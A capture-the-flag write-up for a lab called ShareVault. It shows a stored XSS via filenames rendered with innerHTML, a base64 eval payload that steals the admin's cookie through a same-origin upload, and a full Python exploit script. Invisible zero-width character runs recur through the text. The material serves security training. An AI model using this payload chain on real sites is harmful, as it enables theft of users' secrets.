← Back to Writeups
CUSTOMMediumWeb

Lab 393 — ShareVault — Stored XSS via File Browser innerHTML

XESXOR9/2/20265 min read
#web#custom#medium#admin_bot_trigger#base64_eval_payload#formdata_exfiltration#innerhtml_injection#stored_xss_via_filename

Lab 393 — ShareVault — Stored XSS via File Browser innerHTML

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_trigger, base64_eval_payload, formdata_exfiltration, innerHTML_injection, stored_xss_via_filename

Summary

Walkthrough of the CUSTOM Web Lab 393 — ShareVault — Stored XSS via File Browser innerHTML. Task: Express/Node.js file sharing platform renders uploaded filenames via innerHTML without sanitization; admin bot reviews reported files. Solution: stored XSS via malicious filename with img onerro

Description

ShareVault is a file sharing platform built by Vaultify Inc. for teams to upload, organize, and share documents securely. Users can upload files, browse shared content, manage their profiles, and share files with teammates. The platform is used daily by the Vaultify team, and an administrator regularly reviews uploaded files for compliance violations. Users can report suspicious files, which triggers an admin review of the file browser. The goal is to find and exploit a client-side vulnerability in the application that allows you to steal a secret stored in the admin's browser.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Express/Node.js file sharing application where users upload files, browse them, and report suspicious content. An admin bot visits the file browser page when a file is reported. The goal is to exploit a client-side vulnerability to steal a secret from the admin's browser.

Analysis

Initial Reconnaissance

  • Logged in with provided credentials (user@test.com / password123)
  • Application is an Express/Node.js app with pages: Dashboard (/), File Browser (/files), Upload (/upload), Shared With Me (/shared), Profile (/profile)
  • Cookie connect.sid is HttpOnly + SameSite=Lax — cannot be stolen via document.cookie
  • File Browser page loads files dynamically via /api/files JSON endpoint and renders them with JavaScript (/js/files.js)
  • Users can report files via /api/report POST endpoint, which triggers an admin bot to review the file browser
  • Decoy trap: Every page contains a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML and comments, designed to trick automated scanners and AI agents ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Identifying the Vulnerability

In /js/files.js, the renderFiles() function builds HTML by directly concatenating the filename from the API response without any sanitization:

javascript
html += '<div class="file-card-name">' + f.filename + '</div>';

The assembled HTML string is then set via grid.innerHTML = html;. The server does NOT sanitize filenames on upload — HTML/JS in the filename is stored as-is in the database. The /shared page uses safe textContent assignment, but /files uses unsafe innerHTML. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Constraints

  1. innerHTML does not execute <script> tags — must use event handlers like <img onerror=...>
  2. Filename length limit is ~240 characters — server returns 500 for longer filenames
  3. Double quotes break multipart upload — Python requests puts filenames in double quotes in the Content-Disposition header, so double quotes in the filename break parsing
  4. Session cookie is HttpOnly — document.cookie won't capture connect.sid, but the admin has a separate non-HttpOnly cookie admin_secret containing the flag
  5. External exfiltration unreliable — the admin bot may not be able to reach external hosts (webhook.site, interact server) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exfiltration Strategy

Since external webhooks are unreliable, use the XSS to make the admin's browser upload a new file back to the same application via fetch() + FormData, encoding the stolen cookie data in the filename with btoa(). This creates a same-origin data channel readable by any authenticated user through /api/files.

Solution

Step 1: Craft the XSS Payload

The JavaScript to execute in the admin's browser:

javascript
var f=new FormData();
f.append('file',new Blob(['x']),'EXFIL_'+btoa(document.cookie)+'.txt');
fetch('/upload',{method:'POST',body:f});

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is base64-encoded to avoid quote issues in the multipart filename:

dmFyIGY9bmV3IEZvcm1EYXRhKCk7Zi5hcHBlbmQoJ2ZpbGUnLG5ldyBCbG9iKFsneCddKSwnRVhGSUxfJytidG9hKGRvY3VtZW50LmNvb2tpZSkrJy50eHQnKTtmZXRjaCgnL3VwbG9hZCcse21ldGhvZDonUE9TVCcsYm9keTpmfSk7

The full filename payload (210 chars, under the 240 limit):

html
<img src=x onerror=eval(atob('dmFyIGY9bmV3IEZvcm1EYXRhKCk7Zi5hcHBlbmQoJ2ZpbGUnLG5ldyBCbG9iKFsneCddKSwnRVhGSUxfJytidG9hKGRvY3VtZW50LmNvb2tpZSkrJy50eHQnKTtmZXRjaCgnL3VwbG9hZCcse21ldGhvZDonUE9TVCcsYm9keTpmfSk7'))>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Upload, Report, and Retrieve

python
#!/usr/bin/env python3
"""
ShareVault Stored XSS exploit — exfiltrate admin cookie via same-origin file upload
"""
import requests
import time
import base64

TARGET = "https://INSTANCE.labs.hackadvisor.io"

# 1. Login
s = requests.Session()
s.post(f"{TARGET}/login",
       data={"username": "user@test.com", "password": "password123"},
       allow_redirects=False)

# 2. Craft XSS payload — steal document.cookie via file upload exfiltration
js = ("var f=new FormData();"
      "f.append('file',new Blob(['x']),'EXFIL_'+btoa(document.cookie)+'.txt');"
      "fetch('/upload',{method:'POST',body:f});")
b64 = base64.b64encode(js.encode()).decode()
payload = f"<img src=x onerror=eval(atob('{b64}'))>"
print(f"Payload length: {len(payload)}")  # 210 chars — fits under 240 limit
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 3. Upload file with XSS filename
files = {'file': (payload, b'test', 'text/plain')}
r = s.post(f"{TARGET}/upload", files=files)
print(f"Upload: {r.status_code}")

# 4. Find and report the XSS file to trigger admin bot
r = s.get(f"{TARGET}/api/files")
for f in r.json():
    if "onerror" in f.get('filename', '') and "atob" in f.get('filename', ''):
        r = s.post(f"{TARGET}/api/report",
                   json={"fileId": f['id'], "reason": "suspicious"})
        print(f"Reported file ID={f['id']}: {r.status_code}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 5. Wait for admin bot to visit /files and trigger the XSS
print("Waiting 25 seconds for admin bot...")
time.sleep(25)

# 6. Retrieve exfiltrated data from the file the admin's browser uploaded
r = s.get(f"{TARGET}/api/files")
for f in r.json():
    if 'EXFIL' in f['filename']:
        b64_data = f['filename'].replace('EXFIL_', '').replace('.txt', '')
        decoded = base64.b64decode(b64_data).decode()
        print(f"Exfiltrated cookie: {decoded}")
        # Output: admin_secret=FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Flow

  1. Upload a file whose filename is <img src=x onerror=eval(atob('...'))> — the server stores it unsanitized
  2. Report the file via /api/report — this triggers the admin bot to visit /files
  3. Admin bot visits /files — the renderFiles() function fetches /api/files, concatenates our malicious filename into HTML, and sets it via innerHTML
  4. <img> tag renders — src=x fails to load, onerror fires, eval(atob(...)) executes our JavaScript
  5. Our JS runs in admin's browser — creates a FormData with a Blob, sets the filename to EXFIL_ + base64-encoded document.cookie, and fetches /upload
  6. Admin's browser uploads a new file — the filename contains the base64-encoded admin_secret cookie
  7. We read /api/files — find the EXFIL_* file, decode the base64 from the filename → admin_secret=FLAG{...} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

What Didn't Work

  • External webhook exfiltration (webhook.site): The bot likely couldn't reach external hosts, or the filename with https:// URL got mangled by multipart parsing
  • Interact server via new Image().src: Unclear if the bot could resolve the interact hostname; also unreliable
  • <script> tags: innerHTML does not execute script elements — only event handlers work
  • Double quotes in filename: Break the multipart Content-Disposition header parsing, causing filename truncation
  • Backtick template literals: Also caused truncation issues with some parsers
  • Long payloads (>240 chars): Server returns HTTP 500 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_bot_trigger, base64_eval_payload, formdata_exfiltration, innerHTML_injection, stored_xss_via_filename was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-08 • CUSTOM • Lab 393 — ShareVault — Stored XSS via File Browser innerHTML • Difficulty: Medium